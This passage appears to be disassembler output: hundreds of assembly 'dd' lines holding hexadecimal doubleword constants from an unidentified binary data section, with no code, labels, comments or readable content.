		dd 701FB93Bh, 5C1D0056h, 62EB6A40h, 470F8EDEh, 2060884Fh
		dd 0A5059568h, 468F09F3h, 1200D214h, 0FA414AA4h, 0E5C6CD01h
		dd 0C94B39ABh, 34B6ECh,	0A94E0D71h, 421CFCBDh, 77F02B00h
		dd 9815825Bh, 481E018Bh, 0E34DE9EAh, 0E808808Dh, 391DD084h
		dd 0EDC40254h, 5640E024h, 0DC1CD880h, 0FD3CEE4Ah, 0F3382Ah
		dd 6F05128h, 0EC4D34h, 0EF4C2D0Ah, 0A2BDDA69h, 0BC837100h
		dd 0F38E76DFh, 8746FF7h, 0E62B7980h, 240085FEh,	9730C51Fh
		dd 1824D1Ch, 0D73CBB2h,	243D1165h, 0EF072944h, 0FDBA132Bh
		dd 55387080h, 0BC57076Dh, 80B299C4h, 2AA8CD4Bh,	821DECF1h
		dd 8AD2BF0Bh, 1F9160C6h, 0A890326h, 662ED8A9h, 32FAFEE0h
		dd 5100FBF8h, 0A25E954Fh, 0E6BB62h, 0BDD0DB33h,	0B456176Ch
		dd 44DC9909h, 132C016Ah, 84405F65h, 1230BACh, 0E1FE3FCDh
		dd 0DCB47D60h, 1613E229h, 0B51C0834h, 0D6B398B1h, 0B178D8h
		dd 50FBBDD5h, 3D43D25h,	0D7B8F116h, 0BBD2D100h,	0F6ACA64h
		dd 75866C9Dh, 70FF17E1h, 3A1DF820h, 0CF58500Bh,	0BB14811Ah
		dd 9EC38B7h, 147600E7h,	0F5178CACh, 0D803A580h,	9D5C7967h
		dd 0EC1100C7h, 0CABF4E02h, 49016CA9h, 17C1AAE5h, 0A8EF5ED9h
		dd 3E025ECh, 0E99913DCh, 0E6A151DFh, 49FCE8B9h,	11E16C00h
		dd 2EDB92D6h, 6AE900CDh, 0A4263373h, 5B03B7BDh,	45AF96C2h
		dd 98A7A3F6h, 0CF0B87h,	66806BC4h, 0FA0D9DF7h, 0E7E13C09h
		dd 0F8C000B3h, 6DB939h,	76BC2F6Ah, 69222D6Bh, 263E717Ch
		dd 232E8075h, 96374E74h, 3CE00759h, 43D7AE93h, 97CA694h
		dd 3745D803h, 8BE5F184h, 734EA823h, 95D601C0h, 98D18883h
		dd 36B9D88Ah, 3DC69E1Fh, 4000BD5Ch, 5A241DEBh, 0A91A00FAh
		dd 0B954312Eh, 0E000511Eh, 39083776h, 75DCFD7Ch, 85B70083h
		dd 6FD42009h, 30010E9Ah, 0B4E24187h, 3C2048FFh,	55A00050h
		dd 814AF3ECh, 0B8003DC4h, 0F2A7BBDCh, 0BA9946h,	0F66E4F80h
		dd 0B3F148D2h, 0D3DD8B00h, 595B6ACBh, 0F89095h,	0BA38817h
		dd 3D543AA6h, 8DB53Ch, 5D01DEB7h, 0AB0E9FDh, 48DA9D92h
		dd 3C8960C8h, 10F19FEh,	0B75BC8h, 4EBAA030h, 0C522047Bh
		dd 0C0277FEBh, 0E25F4430h, 10C3E100h, 2498B662h, 67D6004Fh
		dd 6F3BC531h, 0DF2349Fh, 80FD373Eh, 711EE0BFh, 1EADE855h
		dd 0C0F7CEh, 0FFBC1867h, 471C9287h, 39809461h, 71097C1h
		dd 849F004Eh, 0E9B28396h, 4300F822h, 1B346381h,	380428B7h
		dd 258007F4h, 0B136FA98h, 0C528279Bh, 5E00AD1Ah, 50962FC9h
		dd 174E2BE3h, 149F29h, 99288B3h, 2C001756h, 0BE93C9Eh
		dd 0AF7A1Ah, 7C12296Ch,	114F86A8h, 6FB3390Fh, 9D57E75Ah
		dd 30E186h, 0CE9620D9h,	0B62DF673h, 5609C073h, 54C4E3h
		dd 935B5FE8h, 75A009Bh,	94DE6F57h, 83E085FFh, 7F12211Dh
		dd 470D2D04h, 0C1AFC8C0h, 0C9D1001Bh, 350F695Bh, 0D33B89D4h
		dd 0EB068020h, 0FE02FD93h, 0F8C7DBFh, 54FFC29Ch, 5FB3C560h
		dd 9BE8B8F4h, 8405E000h, 38D80F6Ch, 471500C2h, 57BF80F2h
		dd 585854FEh, 2CB07290h, 4600B9F0h, 40BAFF21h, 83FD23h
		dd 8F015F3Ch, 0CC065A45h, 4499AF26h, 8491B700h,	6F94F2BFh
		dd 5C80099Ch, 5D7EF2Fh,	0A711A600h, 9CB1CB85h, 0FD6F00FBh
		dd 0B80E19Eh, 60050D0h,	2238D717h, 0E4F5D3h, 1E8FD1E0h
		dd 2843E54Ah, 0A1726100h, 46E8F8BDh, 0C7870477h, 0C1F266C6h
		dd 30DBB07Ah, 22034284h, 15FC5197h, 878CE9DEh, 0C3A2AD8h
		dd 40F8EE8h, 1C00D904h,	641F2815h, 7FD4CD6h, 437D215Fh
		dd 0F13910FCh, 0E8008CA2h, 36DBDFC2h, 3AC5D7h, 9DBD702Dh
		dd 40D21D2Ch, 429A48h, 0AD930945h, 0EC0EC3h, 2833627Fh
		dd 6E8FF41Bh, 0EE4E371Ch, 3C802E1Eh, 0DB69E354h, 3A6501F5h
		dd 17B603FCh, 0C85030B5h, 0BD729000h, 866EDFBAh, 74A501BBh
		dd 78A1C1B8h, 16C6284h,	8868645Eh, 95D493B0h, 658A1BA7h
		dd 0A8E0098Dh, 5401069Bh, 2738B041h, 1FD9DE84h,	87007872h
		dd 8C24433Ah, 12176B31h, 0B11Dh, 0AC6E6280h, 0A94102E7h
		dd 0BEF7B579h, 8B6D48C0h, 5632800h, 0E74CCE29h,	3C2E3D95h
		dd 224B1280h, 6C80A359h, 0A71E1000h, 0CCCD3299h, 0A4512CECh
		dd 0B1B000CFh, 584CE69Dh, 0BE15D105h, 6AC0C23Ah, 191D59h
		dd 2D9FA83Dh, 92A3B8F5h, 89669700h, 17C585ABh, 533A0004h
		dd 228D315h, 9A3C6341h
		dd 4523005Ch, 0D5E135DDh, 10DC59h, 6F05E6BAh, 149018BEh
		dd 5BE59F0Ch, 7C1D106Ah, 4CD707BCh, 40B34446h, 9ECB97CFh
		dd 0B7E27890h, 8086A100h, 8185AACEh, 6F640AC8h,	3FCCC4ABh
		dd 701DD0DCh, 13C24054h, 1B14AFDDh, 0C3AAD80Dh,	25F00912h
		dd 59720EA7h, 3F25E2Ch,	3344378h, 4E79D9A0h, 0A6CBB1Fh
		dd 0E3BBD05h, 2B2E64C0h, 0E64C3903h, 68AB9987h,	1777A066h
		dd 7E582DCFh, 851B008Fh, 0DA1CC16Fh, 4771B0h, 4D8A179Bh
		dd 8FB9B4C8h, 0F49951Dh, 0D36BFA40h, 66CD622h, 36089204h
		dd 3C0E30F2h, 0E005AD3Dh, 6741BBC7h, 12C0C017h,	0ACCCAB5Eh
		dd 7FDAD207h, 0DC806B8Bh, 1D203367h, 0FA851C8Eh, 0E05AE80h
		dd 0D256999Ch, 68B0F198h, 0F2076300h, 0B578C174h, 165E0235h
		dd 4A0ABA52h, 8CC6AC84h, 3E40AA3Ch, 439904A1h, 80D1F2F1h
		dd 0EB5F030h, 9E505F00h, 0FB773C05h, 0C87800D8h, 0F1D1B3C9h
		dd 0F5026713h, 2F63D583h, 0D75DC097h, 8DE600E5h, 0C9C3D815h
		dd 992AF5C4h, 4400F42Eh, 5F9A224Fh, 7B33F3D3h, 0BBA4007Eh
		dd 12C5F8D1h, 34005C26h, 69C38DA0h, 0D35002h, 0D2E55283h
		dd 0B9AFA676h, 751C31ECh, 0B8CCC14h, 51D03Eh, 959828E2h
		dd 0CD2404A5h, 0CCEC020Bh, 29FCA02Fh, 4417CF44h, 840E0198h
		dd 0E187A0EBh, 0EFBD74F9h, 8259499Eh, 11A83BD2h, 23DDF460h
		dd 3FB3925h, 0F816CF2Ch, 25DDA2Bh, 55A77EEBh, 7178238Ch
		dd 0B30051E6h, 0DDA48D7Ah, 0F73B6h, 86045EC6h, 0A2E32641h
		dd 7DD3F50Eh, 4B502083h, 3E3D7Ah, 5C454807h, 6A8C228Eh
		dd 0ACB61000h, 0A7A9626Eh, 300B7B73h, 1BF485E4h, 0DA0F6CF9h
		dd 609CC7C6h, 0F674654Ah, 0B22401D3h, 0F2D50B98h, 6C646055h
		dd 419A8A00h, 7E9B9957h, 0A1E70052h, 9DE35840h,	9C715C7Ch
		dd 8B237F0Bh, 0C55400Dh, 0DEC61ED1h, 0A1093703h, 0F036FBC9h
		dd 7D0134D8h, 6C2730C0h, 0D0288315h, 0CCB58200h, 0B4911C78h
		dd 9B746F00h, 0E5548FD6h, 23363F70h, 14877BBBh,	0C0489A58h
		dd 844B341Fh, 66774204h, 308087FEh, 240F7Ch, 0D5B78BE4h
		dd 32CCE55Eh, 55D43600h, 4C9E7F49h, 798C287Ch, 1F653AFDh
		dd 0D7B4BE80h, 9080F3BCh, 0FC005973h, 0A1BFA530h, 58F470h
		dd 2D4F5DDFh, 15C4B1C2h, 99ED7500h, 12CF84FAh, 0F9E26Fh
		dd 9CBC0E93h, 59D63F8Eh, 8B0D990Ah, 0B812D745h,	8CCC0C00h
		dd 18CE916Eh, 61BA8AABh, 6D59C5BCh, 0C8DE3A08h,	638C001Eh
		dd 0F967B494h, 8EAB0D92h, 0F0098961h, 2058FACh,	35844549h
		dd 3FF20480h, 8598A013h, 0FA2B01F6h, 0D8DA34E2h, 5948C01Dh
		dd 0CA37C100h, 33FDB05Eh, 2823DA5h, 0D9F9A300h,	0BD936D51h
		dd 0E0F281Dh, 75C6F300h, 1CCF2B0Ch, 136103h, 0D8B776BFh
		dd 4B005104h, 0B0C94920h, 9EE990h, 6BD4578Fh, 59B90C89h
		dd 0C4BC0F00h, 48FC13CCh, 8551008Eh, 7EA93ACFh,	0DC700C77h
		dd 230BEA00h, 4CC68CAEh, 0CB38008Bh, 1D353162h,	0DF7D021Eh
		dd 21AB1400h, 6D016EE2h, 0D75E000Ch, 1C338EBEh,	0E6A022B8h
		dd 4E030980h, 0C4F5E461h, 0E0A850F0h, 56CC0027h, 5DCA86F2h
		dd 0E90449E3h, 9B027B64h, 0A40814F0h, 0A0400498h, 807D7924h
		dd 35E76AD0h, 699850F3h, 0B90E26BFh, 0A4D6B785h, 90E01179h
		dd 0E4C35D3Fh, 0F5F44600h, 363AA619h, 0CF0B7404h, 0F890C12Ch
		dd 528572h, 0BD466CB5h,	173BE442h, 964EE000h, 8EDFF795h
		dd 7934009Ch, 0AFAC927Bh, 770771EEh, 12585C1h, 0B95F4430h
		dd 70F7E812h, 0D84103EFh, 8E6C7816h, 0FF3AFBD8h, 0CD44812h
		dd 742BC000h, 249E39h, 0EC8F4D88h, 8626AA6Ch, 0EBC7C000h
		dd 9F2A7031h, 0E9760Ah,	30EA2E6Fh, 0F1C31565h, 95857800h
		dd 0DEFBB737h, 0FABA2CE1h, 0E714001Ch, 3488410Dh, 68B9AB24h
		dd 677BB401h, 3432B6A8h, 0B3684400h, 0BF6C70ADh, 610045F2h
		dd 0DC727ABEh, 3C81C1Dh, 0CBD362D6h, 97C1AD7h, 71041401h
		dd 36212D40h, 0A6820h, 95D62CB7h, 0B59BE152h, 787DDC0Bh
		dd 65060961h, 0D09600D4h, 5FE8AC9Fh, 0E600AF77h, 0A3D431D8h
		dd 3C29FDh, 0BC816822h,	0BBB44B3Ah, 0E6541600h,	2602B394h
		dd 80DA008Ch, 19F3F644h, 41001742h, 9CCAAF8Dh, 0E6B87A3Bh
		dd 7331007Eh, 0ABDFA3C0h, 270015FEh, 2166625Dh,	9D97A52h
		dd 2127C76h, 849D9002h,	1F60E073h, 0B5CEB6h, 9CCDD1ADh
		dd 2BE5EE7Dh, 0CC6B0600h, 7B0A3369h, 45220089h,	0B44E6D73h
		dd 0A300CB07h, 974FA672h, 2C1DD152h, 8074A18Ah,	0EFB782E9h
		dd 0CC7105F8h, 0D9FAE603h, 0C155A3E8h, 0DBD4E0F1h, 379A0E42h
		dd 4B032A29h, 0AF885ADEh, 571E5599h, 6B803E4Ch,	0F5762E3Dh
		dd 9492EBh, 243C97E3h, 2709AEE1h, 80A8E23Eh, 47A48C0Fh
		dd 0AD8813h, 97351042h,	0CF3C76A1h, 77BF903h, 7C71DCCAh
		dd 0C7040109h, 0BE0C5DD7h, 0E3A070E4h, 0FBA49900h, 0D15A34F9h
		dd 4859E874h, 0A90ECC69h, 0A2E0C470h, 0C66751CCh, 49C0BD00h
		dd 0A1C86BEDh, 27810973h, 942188B2h, 0F864B0AEh, 9306B7C7h
		dd 2ABDA89Eh, 0A40400F0h, 48165F36h, 17176AE7h,	980013D8h
		dd 0C5DADE73h, 2134016Bh, 47EE67D7h, 0B8DE480h,	80D2A038h
		dd 0CC0976D8h, 16AF3Fh,	1F72C12Fh, 3012CB2Eh, 9D45EC00h
		dd 899BCE74h, 73D5005Bh, 857654E8h, 2100653Eh, 6CF77C50h
		dd 17438B0h, 0FFEB4C28h, 0DCE84552h, 0B1005346h, 84909A1Eh
		dd 93E89AAh, 38A099E7h,	2C5608A3h, 3DC682D8h, 376AF900h
		dd 59E008C1h, 0B718122Ah, 14F3009Eh, 0E39DDC17h, 3F2E0502h
		dd 0A04B98CAh, 6CA320E0h, 337D2EE6h, 121D0ECAh,	0D6700156h
		dd 0D9F7888Eh, 0D9B874F1h, 0FD84C000h, 6027B71Fh, 0DF2B09FFh
		dd 0C184E743h, 0B3F887AAh, 2885BDEh, 373AB77Ch,	98BE835Ch
		dd 8575CAF2h, 7A308CE1h, 1F88BA4Fh, 0C0EC6E32h,	63E798FFh
		dd 7F735392h, 2DD410A0h, 0C800FE42h, 0D7CE8F67h, 55303938h
		dd 40D6C953h, 3C7E1FAAh, 0A4958E6Fh, 5E49CB80h,	1A005CFAh
		dd 0E77019BEh, 56C557Ch, 366F549Bh, 6520073Eh, 0DFA0E0DCh
		dd 78DFAD8Fh, 0D7CDBA07h, 1D6B3170h, 1CA73892h,	0A0DA5081h
		dd 0C16FD466h, 0D39081CEh, 0FFADABD7h, 551CE18Ch, 4F00CA59h
		dd 59E8E78Fh, 5101ECh, 6C4CCC92h, 561A4358h, 63B5DE00h
		dd 0E8642BF2h, 65C10033h, 0CCE1F3BBh, 300C0D4h,	2E1CCD28h
		dd 0E79CB10h, 0D0EAA90Ch, 0AFC557E0h, 0D00C766h, 6F09BC2Ah
		dd 3B84FBh, 0D48011BDh,	82F88FCCh, 0C89C5D16h, 1437D400h
		dd 0CA06Dh, 71E1BBA3h, 3D51B56h, 81B73Ah, 23E0122h, 0B173E6h
		dd 9CD46FB2h, 0D979AD5Eh, 1117C400h, 0CFC11832h, 1E20754h
		dd 50EBC882h, 88A28DF0h, 8A5D0400h, 106CF9B9h, 723D00A5h
		dd 3EA6386Dh, 0E700FC20h, 9D6673EDh, 59F6794Ch,	0BE001896h
		dd 20A5F778h, 0BCEEFB57h, 0C9797300h, 0B5360A95h, 5E7F13AEh
		dd 5049033Ah, 9FF84B04h, 9B0074ECh, 0D06DF3C4h,	0F16133F0h
		dd 1C263060h, 8069AD3Ch, 0A9A63BE2h, 6A035F99h,	386B5D0Dh
		dd 0E7B0C020h, 245300FAh, 65893E8Dh, 0B00F730h,	4C62F068h
		dd 73A23B02h, 4B5D3E0Ah, 6C76E19Eh, 3CAD1E9Ah, 0FB8DCE9Fh
		dd 1C92CB80h, 0F894166h, 85D77216h, 0E0D9C20Eh,	0A633B6A0h
		dd 0EA9B00A8h, 51563A6Ch, 27DB9B0h, 9405ED00h, 0BC20BF64h
		dd 0FD2900F6h, 6D8B2308h, 60002658h, 0A3A954F9h, 0D33CA0h
		dd 0F1913A69h, 0B82D3604h, 767FF3Eh, 0CC6CFE64h, 7701E1B0h
		dd 25B290C3h
		dd 4848022Bh, 1602BF0Ah, 0C1ABF62Ch, 615454DFh,	84A3444Eh
		dd 5CB27B10h, 8EE84C80h, 0EE8B8E3h, 5916F4F2h, 0FA314E21h
		dd 5628884Dh, 0E5EA8866h, 8811BC88h, 0C188C2A5h, 0E2E68861h
		dd 900D2088h, 5B4F8499h, 2228685Eh, 6D42109Bh, 285AE211h
		dd 0B75014FEh, 0C344E128h, 0CA5F45BEh, 892B3A10h, 443308D5h
		dd 1E441669h, 0C90F4465h, 62B314A0h, 33083289h,	0A01D2444h
		dd 896C1A3Ch, 820FEE6Eh, 807CA5B0h, 6BA03298h, 0B7590093h
		dd 1165FA03h, 0ED758221h, 27073901h, 0B19B87B5h, 0DDA4DCh
		dd 0C8370CD9h, 0D35975DFh, 0E87D48E6h, 0C9501400h, 60A7713Dh
		dd 842F007Ah, 4839AA51h, 0F33EE3C4h, 0ACF19FA6h, 7E659981h
		dd 2D201FAFh, 3C1E0077h, 98C2FB62h, 89F4C89Ah, 0C97DBD03h
		dd 0B8D674F8h, 128046D2h, 0B0C310B1h, 760ED778h, 21943B34h
		dd 0AE7BA497h, 0C922D440h, 77A200B6h, 1ED14CAFh, 0BB1E1A64h
		dd 1D00B14Fh, 63E543F4h, 0F2012E35h, 0D0DF0014h, 0F36C6572h
		dd 6DDAAF00h, 6BD49047h, 96F102E2h, 6331B181h, 0B6007CF8h
		dd 2E206EA1h, 3BCE0Dh, 0ACB7251Bh, 8EC441F8h, 9FD69400h
		dd 0CDF48654h, 13330011h, 4AC0715h, 74007A92h, 8677F814h
		dd 0F822FCE2h, 0AB720185h, 0B8AA0DA5h, 0BCEE20DBh, 0AFE73600h
		dd 5F9CFA32h, 7D407B1Eh, 47160072h, 5C6D51B4h, 21006F75h
		dd 464BF62Ah, 1561583h,	885D4785h, 0E8240230h, 0D8F74075h
		dd 68C0295Eh, 261E5B77h, 33EF12DCh, 0FACE030Eh,	9680DB51h
		dd 56008A93h, 4112EEACh, 0D87619h, 6D2D03B4h, 8E1FB6ADh
		dd 6E00ECFAh, 939D7754h, 4966D0h, 2C05A49Fh, 9C4C02D5h
		dd 0C7BD8401h, 0AE0BFCCDh, 2031F60h, 0C53C0A05h, 7502409h
		dd 62BA3412h, 81CE00EEh, 9267DFD7h, 99BF3Eh, 0D22D7AE6h
		dd 1FBB4A6Eh, 80A9953Bh, 0F41FA4C0h, 0EE00D90Fh, 0C3197F7Dh
		dd 0D61B7Ah, 0E296DA1h,	0B970FDB5h, 681A0D00h, 2AFBDEF4h
		dd 347709E0h, 1903CB5Bh, 1DC00B48h, 280008B7h, 0C30A9DC7h
		dd 1013E7Fh, 0B4C99BA9h, 74B9689Ah, 0E8007210h,	4193E5D3h
		dd 70837E9h, 32ABE391h,	4F2A63B6h, 9A4821E8h, 362F2200h
		dd 0B2356D52h, 0CB05004Eh, 7AA8DCDDh, 93092E27h, 0A33ADh
		dd 91A3E991h, 9EE51E54h, 0E0D6C058h, 6FC623BAh,	9B41F10Dh
		dd 0DC00B0DBh, 4D78DAh,	541ABFE7h, 368A88B3h, 7C595F03h
		dd 0F06F6EBDh, 40EE0Fh,	0DB02203Fh, 33D445EDh, 37007EF8h
		dd 98F8CB99h, 0A27351h,	76D38586h, 631F4941h, 0C301ED05h
		dd 0BF0003F8h, 0A1F1F52Fh, 3A9600BBh, 0AE2206D3h, 1F07FE36h
		dd 0DE24B5ABh, 8C556D00h, 8F750068h, 727C2B40h,	78009228h
		dd 0B2B61CFEh, 75F8A882h, 0F6DA0364h, 0F7A4EA9Fh, 0D8927D90h
		dd 682434F9h, 59884A00h, 891E1551h, 463C1420h, 0C526BC29h
		dd 0DA1A00BFh, 1EFE5571h, 0D65D8300h, 0E40FA506h, 0A300018h
		dd 4168DEB3h, 73004AC2h, 9590D7D5h, 0FFAEA26h, 0BE828520h
		dd 273691E0h, 4A00A43Eh, 0B987511Dh, 38F2584h, 863A3558h
		dd 49BA2217h, 16ACB883h, 0F86ECC98h, 0BA376D12h, 9E52FC21h
		dd 71742E20h, 31BF6AA7h, 79E40062h, 0C367F3Eh, 7A00FBB0h
		dd 1ED751D2h, 382371Dh,	0E81CFC96h, 0BB980FC0h,	7107CC8Ch
		dd 56E060C7h, 406B91D2h, 1CBA204Ch, 40D885FEh, 9D43DA89h
		dd 251C9571h, 2CC09FD2h, 9311E6Bh, 0D4B00E78h, 6D20A3F2h
		dd 46972F4Ah, 9B5D1B00h, 90DBD9BCh, 0D17D16h, 0C80BF30Fh
		dd 3DC36206h, 0B0DF2203h, 0F02B0DB1h, 1586EA7h,	30AA7638h
		dd 0F4C33E2Eh, 3A0713CBh, 1D71BEC9h, 0E4835B64h, 215EF859h
		dd 470805AEh, 801811B7h, 602A1960h, 0C36CDD00h,	7D536E4Bh
		dd 9DBF00A1h, 4FE7C716h, 7700CF2Eh, 9936C64Dh, 1230D8B3h
		dd 42E182B5h, 0CA09F6E4h, 0A200B066h, 0D934FF60h, 4A2F2Bh
		dd 0F787A6EEh, 94B037C0h, 43EF1800h, 462692A5h,	0B42E0067h
		dd 1E8CF5CFh, 950241F7h, 0E5DA141Dh, 84746018h,	87E000BFh
		dd 9085602Fh, 0C60059C5h, 6D96EF29h, 2EA35Fh, 0FFAA4113h
		dd 0E3641191h, 203248CFh, 1E5AC772h, 9D900088h,	93475DCAh
		dd 90C08CD2h, 8AC724ADh, 0DCF058h, 0B90D5694h, 506B953Ch
		dd 0BD0A25h, 0DF5FA928h, 239900DCh, 28350597h, 6007173Ch
		dd 0B6013071h, 48BA02C0h, 0A2B8009Eh, 5A4D6207h, 0C9122926h
		dd 0D4000531h, 0C72AE5BBh, 1AB927A8h, 0FB0C9EDCh, 30284Eh
		dd 2C39C013h, 99C282A2h, 8460762Fh, 0BB80BD2Ch,	0E68F02h
		dd 79F2C012h, 1E958A74h, 0CF3D6900h, 0BA6DBF27h, 0BBBB587Ch
		dd 5E320309h, 0CEE0980Fh, 7B76C4B6h, 4F6CB901h,	9F37D09Ah
		dd 3048CFECh, 0C28BEFBh, 0D6005734h, 0B0950AF4h, 546F73h
		dd 0FDC87D83h, 6CA5F730h, 9E485E3Eh, 82D43158h,	0FFD10B8Eh
		dd 0CE5C3012h, 287D0061h, 1439F9BBh, 0B7004C08h, 0F405D078h
		dd 20E0987h, 132B92E1h,	18601263h, 49096FCDh, 0A09BE2F2h
		dd 0EE05AB14h, 172D000Eh, 71585E7Ch, 0EF03868Bh, 9A93DACAh
		dd 3BFBB1DDh, 3D8082E8h, 1F008C47h, 0AFCE996Bh,	0D8C3A267h
		dd 0E2D1E0F9h, 45F848DAh, 338E085h, 66607029h, 1C906C71h
		dd 401D7FF4h, 935F455Ah, 40B74B0Eh, 60C3FDD2h, 4ACF5C76h
		dd 56878C00h, 0A1418EE0h, 4DA0C800h, 17D23464h,	2DD7971h
		dd 59A281CBh, 4057D3F1h, 0C9F0CEh, 85648626h, 959289B8h
		dd 0A83A8E00h, 4BE880C6h, 9F8C03EFh, 863945DBh,	20AB64C9h
		dd 0D1002664h, 0C8C23B37h, 502A4D31h, 56BA8Dh, 5B50A184h
		dd 6FA42D97h, 0AB00677Ah, 1562EF07h, 9D625h, 230B3D19h
		dd 0AD8F8BA9h, 0A117A8EEh, 540760D5h, 0A720775Dh, 2EC4C71h
		dd 0C9502BE8h, 0DF407539h, 1A00CF7Ah, 2A5FD051h, 7CDBC84h
		dd 5A7DDF03h, 12B09273h, 33889A40h, 5721E000h, 0BFFCC980h
		dd 0E74A021Eh, 71477C74h, 120F41E0h, 64426490h,	1AD53000h
		dd 0F71B5ADDh, 0D13AA200h, 43CDCEDCh, 98921625h, 6F53004Bh
		dd 0CAA77F1Dh, 0F9D30500h, 962897CBh, 6D3D009Ch, 89A10653h
		dd 7A1763D0h, 3420A847h, 1CD63A11h, 982849Dh, 5E078DC3h
		dd 4DF421A1h, 0AA1285D0h, 0C8007B41h, 26046F0h,	0F8E207DCh
		dd 0F0FD5031h, 0A4AC6954h, 987920h, 7801B60Ch, 0F906FEE6h
		dd 16BD8C00h, 402485E3h, 6492FAh, 0A66C4F71h, 0AAD1F755h
		dd 0D9016900h, 2C12B142h, 0B5980160h, 0EA206F9Eh, 0ED3370F7h
		dd 0F00517Eh, 7276A318h, 0F80E8227h, 0A20609C7h, 6420C4CEh
		dd 8B3D3CCDh, 7FBA2C00h, 0E437FFBBh, 0F155018Ch, 0BE21481Fh
		dd 83807F83h, 0B621EADh, 0B8B08B9Ah, 2E00AE89h,	938CD9FAh
		dd 0ECE45A00h, 6DB25F63h, 3B990C1Dh, 0F0C01CDBh, 6EFD6F0Fh
		dd 0D3C4A4E4h, 0C8290A0h, 0D42E265Fh, 9300DD11h, 4E582F4Bh
		dd 21A316Dh, 9EC29F22h,	50601685h, 0A06EFF4h, 0A19DC596h
		dd 9BB100C0h, 592C53C4h, 0B701958Dh, 88099F0Eh,	52C837F9h
		dd 4108268Ch, 0AF43016Ch, 0D0250FAAh, 6D01A00Dh, 2A1487F5h
		dd 38686777h, 6BCC8600h, 0FFDAAC39h, 237FE00h, 9740ED17h
		dd 506F0F35h, 764CC8F0h, 0DC00E9D6h, 0E1747F34h, 3C9CBEh
		dd 24AFE48Ch, 840EA96h,	63442300h, 3A5489B6h, 0A40D021Bh
		dd 4A17A8EFh, 950E1C60h, 8EB3FB02h, 0E85B7410h,	11AAC04h
		dd 0F26A280Ch, 80B24BD8h, 201ED244h, 25037635h,	88E18F7Bh
		dd 10E4334Eh, 0E02E105Dh, 5C770082h, 14E30ACFh,	393CBD00h
		dd 0D467DDC8h, 517B32h
		dd 0D64F3FBFh, 1366F478h, 0E9260A00h, 8701A528h, 5D6B07C2h
		dd 502108CAh, 0B1BBDCEDh, 0A4005C98h, 0EB361CB5h, 1F7461C9h
		dd 0C0B002F3h, 41106783h, 114C60D2h, 87F600BCh,	0AD12210Fh
		dd 98964Ch, 0BEDC9B3Ch,	0F000AF0Ah, 0D8471BE8h,	1D65F872h
		dd 40217E1Fh, 20BC2633h, 6401EED9h, 6E15A62Fh, 0D4EC31CCh
		dd 0C61901DFh, 52FDF0DAh, 84B05032h, 140EC4EAh,	5D88A4h
		dd 0F3167954h, 0C1E91D45h, 0D55665h, 0A9C6E446h, 0E801A110h
		dd 5F7DA5Ch, 0D0E8818Ah, 416B0996h, 8880B04Fh, 2F0125DEh
		dd 6E29F809h, 0FF4C2A0Dh, 4A876700h, 0FF08862h,	0AD023377h
		dd 60603049h, 2C0040C2h, 9CDFA1BCh, 4CD5E051h, 5B008413h
		dd 3C627B5Fh, 0D804D27Dh, 0B2CA4C92h, 21DC18C0h, 8D400025h
		dd 467B652Bh, 40B878C1h, 0F6BE8700h, 7769DC96h,	0E3A800E0h
		dd 6705A6Eh, 8B1D09C7h,	0FE41C323h, 5CFD6331h, 39F50C20h
		dd 799F2D3Ah, 1608564Fh, 0B61C0029h, 7B17506h, 0C0570F00h
		dd 16AFC9EFh, 7E12072Ah, 1F6BBA9Eh, 0F3029920h,	1F024FCDh
		dd 2DD6F2BFh, 2ACCE143h, 802905EDh, 90C93987h, 0B8B41D28h
		dd 0CF14E101h, 0C69A5B9Fh, 204D5820h, 0C4054A60h, 3D7C0827h
		dd 441FA840h, 0B92F31h,	32A48522h, 360E16D3h, 50CCC4Dh
		dd 0B56DFD5h, 6CEC14h, 7E21BF5Ah, 2C1902BDh, 0F1B24Eh
		dd 8E7560AFh, 1D3E4CBEh, 8650054h, 91C62418h, 6D91A00Ah
		dd 0DBE83B40h, 0A89AB404h, 308ACDDh, 0F5074865h, 0C9C6A80Ah
		dd 0CC97029Bh, 59D3759Dh, 7630B046h, 5C97829h, 148926Fh
		dd 88DB52B1h, 809550ADh, 82D60868h, 81C12436h, 202C5EDh
		dd 5046FBh, 0FA1DEA57h,	6507DBC2h, 8E709A00h, 0AEE6AC42h
		dd 10AA4C63h, 0A9AF7F00h, 460D9B56h, 2A9A661Eh,	0B44C8380h
		dd 702B2E33h, 6D5304ECh, 8043807Ch, 3052C1Ch, 0D67A7707h
		dd 2D90F54Ch, 385C5364h, 2E80ECC4h, 0DDAFC7E9h,	58008CB7h
		dd 46DED69Dh, 20FD51h, 6FA68876h, 0D36B9FB9h, 1A7400B5h
		dd 2C8B7759h, 80FCB721h, 0D4F4A306h, 86484164h,	0CA540049h
		dd 0DEFC270Ch, 0B8F0052h, 2809FBF0h, 704A02DDh,	99CC5440h
		dd 9062DF38h, 0CEC800DCh, 85A71698h, 97F4A07Dh,	9EAB990Fh
		dd 2A69A49Dh, 0F0D01497h, 0E8151Ch, 7CA35C0h, 27AEC9DCh
		dd 0E3002BE0h, 0B9FED91Dh, 0BF7A0B3h, 3EBD18CBh, 0F5697680h
		dd 0B43FF2BEh, 0A5E78365h, 9FD5989Fh, 59EC90FCh, 0EE0054B0h
		dd 0DDAB7574h, 70000440h, 864678B4h, 0C0ADEA10h, 1D1E8C10h
		dd 810EFB53h, 0A7693E09h, 0D8E05496h, 1E35290h,	1DAE51E5h
		dd 0EA25D231h, 0A31F34D0h, 300E7E61h, 0A560726h, 88805514h
		dd 2927DBh, 0FA115D0Dh,	54CE94B0h, 258F9E13h, 0FB3FCF05h
		dd 0C0F719C0h, 7051067Ch, 109D6D37h, 30A36901h,	34AB2A4Eh
		dd 3AC7870h, 0B7FF44F6h, 90B02E99h, 4B02A576h, 0DE368A81h
		dd 0EF4460E6h, 84720008h, 20E74C67h, 0A4002206h, 50ABB244h
		dd 407DE9h, 603E5369h, 9B7FD6DFh, 4B45A613h, 0AEC0001Ch
		dd 0C617363Ch, 94235C04h, 0C5F59200h, 0BBA5FA4Eh, 441CDF74h
		dd 0C741C213h, 0AA899751h, 481D874h, 15C90B16h,	3014E020h
		dd 42E6B600h, 0D38548C2h, 95901CDBh, 0EA89805Bh, 72CE2946h
		dd 37B75600h, 0FE1EB599h, 0F03B01A8h, 798ABD1Bh, 8E98807Eh
		dd 0A41CD20Fh, 1C64ACCh, 0DD45BDCCh, 2966CC2Bh,	0E8381B00h
		dd 0C0090744h, 0FBFD000Dh, 546432F1h, 2B1DF28Ah, 0BD7E52h
		dd 0F8EADD74h, 5CF7563Bh, 9200DCDEh, 0A35B87DFh, 5E4875E1h
